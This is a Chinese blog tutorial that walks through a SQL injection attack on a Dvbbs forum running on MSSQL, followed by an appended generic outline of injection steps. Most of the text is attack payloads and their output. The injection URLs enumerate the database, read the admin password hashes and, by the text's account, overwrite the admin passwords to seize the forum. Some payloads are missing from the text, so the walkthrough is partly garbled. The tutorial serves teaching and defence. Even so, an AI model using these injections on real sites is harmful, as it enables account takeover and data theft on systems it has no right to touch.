SQL注入入侵动网站(MSSQL)

本文介绍了一种通过SQL注入攻击获取动网论坛管理权限的方法。利用SQL注入漏洞,攻击者能够逐步获取并修改数据库中的关键信息,最终实现对动网论坛的完全控制。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

编辑前言:
  这个文章我没有测试,但前提条件还是很多,比如一定要有别的程序存在,而且也要用同一个sqlserver库,还得假设有注入漏洞。说到底和动网没有什么关系,但因为动网论坛的开放性,让人熟悉了其数据库结构,和程序运作方法。在一步步的攻击中取得管理权限,再一步步的提升权限,如果正好数据库用的是sa帐号,就更是麻烦了。
  正是由于这些条件的假设,所以大家也不用太紧张,这里提供的是很多理想状态下的入侵行为,在编程中减少安全漏洞是我们每个程序员要注意的。而站长在组合使用多个程序的时候,也要注意安全和程序的完整性。
  在我所了解的多个动网7.0 sp2 的版本也有2-3次被黑现象,所以大家还要及时注意升级,详细进行权限设置。并不是说动网不好,而是说他程序的开放性,用的人很多,找出来的bug会很多,软件学里说了,用的越多,bug会越多。相对来说,我喜欢自己定制化开发的程序,相对来说会安全一些。
下面是六中男孩的正文
  现在动网最新版本是7.0 sp2。应该说安全性已经是很高的了。所以从脚本本身的问题去突破它难度不小。但是我们可以从外部的一些途径间接“搞定”动网.现在iis asp sql2000的组合是比较常见的。而一个网站运用大量的asp脚本程序,难免不出纰漏。如果一台主机上存在某个sql注入点,而这台主机又安装有动网sql版的话,基本上可以得出结论:这个动网就是你的了。下面来看一下实例。
  一、 首先确定目标。假设以下url存在sql注入:

 
 程序代码:
 
http://www.loveyou.com/type.asp?id=6 测试能否注入可以在6后面加个单引号。
返回错误提示:
ole db provider for odbc drivers 错误 80040e14
[][odbc sql server driver][sql server]字符串 之前有未闭合的引号。

  继续,先探测一下系统版本:
 
 程序代码:
 

http://www.loveyou.com/type.asp?id=(select @@version)--
返回: ole db provider for odbc drivers 错误 80040e07
[][odbc sql server driver][sql server]将 nvarchar 值 sql server 2000 - 8.00.760 ( x86) dec 17 2002 14:22:05 copyright (c) 1988-2003 corporation standard edition on windows nt 5.0 (build 2195: service pack 4) 转换为数据类型为 int 的列时发生语法错误。
看来已经打上最新的sp4补丁。

  取得当前连接数据库用户:
 
 程序代码:
 

http://www.loveyou.com/type.asp?id=(select user_name())--
返回: ole db provider for odbc drivers 错误 80040e07
[][odbc sql server driver][sql server]将 nvarchar 值 webuser 转换为数据类型为 int 的列时发生语法错误。
从错误信息中得到当前数据库用户为:webuser

  取得当前连接数据库名:

 
 程序代码:
 
http://www.loveyou.com/type.asp?id=(select db_name())--
返回: ole db provider for odbc drivers 错误 80040e07
[][odbc sql server driver][sql server]将 nvarchar 值 01city 转换为数据类型为 int 的列时发生语法错误。
从错误信息中得到当前数据库名为: 01city
  接下来测试下权限:(注:因为我们的目的是搞定动网而不是侵占系统。所以数据库权限对我们不是很重要。)


 程序代码:
 
http://www.loveyou.com/type.asp?id=(select is_srvrolemember(sysadmin))--
返回错误信息。提示当前记录已删除。看来权限果然不是很高耶。继续,

正常显示信息,看来连接数据库拥有的权限是db_owner(down数据库所有者。但对操纵数据是绰绰有余了。

 

  二.得到数据库表名。不出意外的话动网的各个表就存在于当前数据库01city中。
  首先得到第一个表:

 
 程序代码:
 
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype=u and status>0 and name not in())--
返回:[][odbc sql server driver][sql server]将 nvarchar 值 address 转换为数据类型为 int 的列时发生语法错误。
好的,第一个表名出来了,为: address
继续,

返回: admin 第二个表名也出来了。依次类推, 提交:
,admin,...))--

 

  可以得到当前数据库中所有表名。
  不一会儿,结果出来了, 表名好眼熟啊。
address,admin,bbslink,bbsnews,board,user.........傻瓜都看的出这是动网的表。当然还有其它的一些表,我们不去管它。
  接下来就好办了,也不要去猜字段了,我们打开自己的动网数据库看一下就知道了。 既然有了表名,字段名,那么,动网不就在你掌握之下了吗? 但千万不要 drop table啊。 破坏就不好了。我们的目的是演练技术,提高水平。 好,那么,我们去得到动网的后台。
  三、进入后台,取得动网论坛管理员权限。


 
 
 程序代码:
 


先看看后台有多少个管理员:

返回错误: 当前的记录已被删除。说明管理员少于4位。直接提交,

正常显示信息,看来管理员只有一个,读出管理员名字,

出来了,管理员后台登陆名为: 01city
继续读出管理员后台登陆密码:

很顺利,密码为: e7cc01be0e33a273
是md5加密过的。难道要去破解它吗? 别急,根本不需要去破md5密码。
由于动网后台管理是cookie session认证。所以只有管理员在前台登陆才可以进后台管理,一般用户是无法进后台管理的。即使后台用户和密码都知道的情况下也一样。所以我们还要取得前台管理的用户和密码。 这个很容易,在他论坛注册一个用户查看一下管理团队,得出,前台管理用户为: admin

  好,得到他的密码:
 
 
 程序代码:
 
http://www.loveyou.com/type.asp?id=(select userpassword from user where username=admin)--
返回,admin的前台密码为:e7cc01be0e33a273
同样是md5的。 现在利用cookie欺骗可以登陆它的前台管理了。但是还有别的办法吗?别忘了现在我们可是对它的数据库拥有生杀大权哦。聪明的你可能想到了,对 ,就是,update。 我们来提交:
;--
正常返回信息,应该成功执行了,查看一下:

返回值为: 49ba59abbe56e057
更改密码成功,说明一下,这个16位md5是预先算好的。你要知道它的明文密码。
那么同样的,我们更改一下后台的管理密码.先把后台用户改成和前台用户一样的,提交:

查看一下:

 
 程序代码:
 
http://www.loveyou.com/type.asp?id=(select username from admin)--
更改成功,后台管理员现在已变成:admin 接下来更改密码,提交:


 查看一下:
 
 程序代码:
 
http://www.loveyou.com/type.asp?id=(select password from admin)--
更改成功,后台管理员密码已经变成:49ba59abbe56e057

 

到这里为止,动网已彻底沦陷。你可以用admin登陆前台然后再用相同的密码进后台管理了。
四、总结
  就这样并不算太艰难的实现了对动网的控制。通过这次善意的渗透测试,也暴露出sql injection攻击的可怕性。而对于iis asp sql2000的虚拟主机来说简直就是防不胜防。只要主机上有一个sql注入点的话,动网就将面临灭顶之灾了。而其实从服务器庞大的网站程序中找一个这样的sql注入点并不算难事.正应征了一句老话:千里之堤,溃于蚁穴。所以防范这样的攻击的最好办法是加强程序代码的安全性。安全是个整体,任何细微的错误都有可能导致严重后果

 
### SQL注入攻击实操流程 SQL注入是一种常见的Web安全漏洞,允许攻击者通过输入恶意的SQL语句来操控数据库。以下是关于SQL注入攻击实际操作流程的具体说明: #### 寻找注入点 寻找可能存在SQL注入的地方通常是第一步。大多数情况下,这些位置存在于GET或POST请求参数中,但也可能隐藏在User-Agent、Referer或其他HTTP头信息里[^3]。 #### 验证是否存在SQL注入漏洞 一旦发现潜在的目标参数,可以通过测试不同的特殊字符(如单引号 `'` 或双引号 `"`),观察服务器返回的结果是否异常变化来进行验证。如果页面崩溃或者显示错误消息,则很可能存在SQL注入漏洞。 #### 判断后台使用的数据库类型 为了更精确地执行后续步骤,通常需要先判断网站所采用的是哪种关系型数据库管理系统(RDBMS),比如MySQL, MSSQL还是Oracle等。这一步可以利用特定于不同RDBMS的行为差异完成。例如,在MySQL环境下尝试访问内置表information_schema.columns可能会成功;而在其他类型的数据库上则未必适用[^4]。 #### 获取当前用户的权限级别以及可访问的数据范围 了解清楚自己作为入侵者的身份具有哪些权利至关重要——因为即使能够突破防护机制进入内部网络环境之中,如果没有足够的控制权去读取敏感数据的话也是徒劳无功之举。因此有必要查明目前登录状态下的账户拥有何种程度的操作许可,并据此决定下一步行计划。 #### 枚举数据库结构 当确认了目标系统确实易受SQL注入影响之后,就可以着手收集有关其底层架构的信息了。这一过程包括但不限于枚举所有的可用数据库名称、各个库内的表格清单及其对应的列定义等内容。对于某些高级别的渗透活而言,还涉及到查询具体的记录条目本身。 ```sql -- 猜测字段数量 1' order by 10 -- -- 查看版本信息 1' union select @@version -- -- 列出所有数据库名 1' union select schema_name from information_schema.schemata -- ``` 上述脚本展示了如何运用UNION SELECT语组合合查询结果集与自定义构造出来的虚假部分相结合的方式实现跨域获取额外情报的目的。 #### 提取有价值的数据 最后阶段就是导出那些被认为至关重要的商业秘密资料或者其他形式上的机密文档档案之类的东西出来供进一步分析研究使用。当然这里强调一点那就是任何非手段取得他人财产均属违行为,请务必遵守规! ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值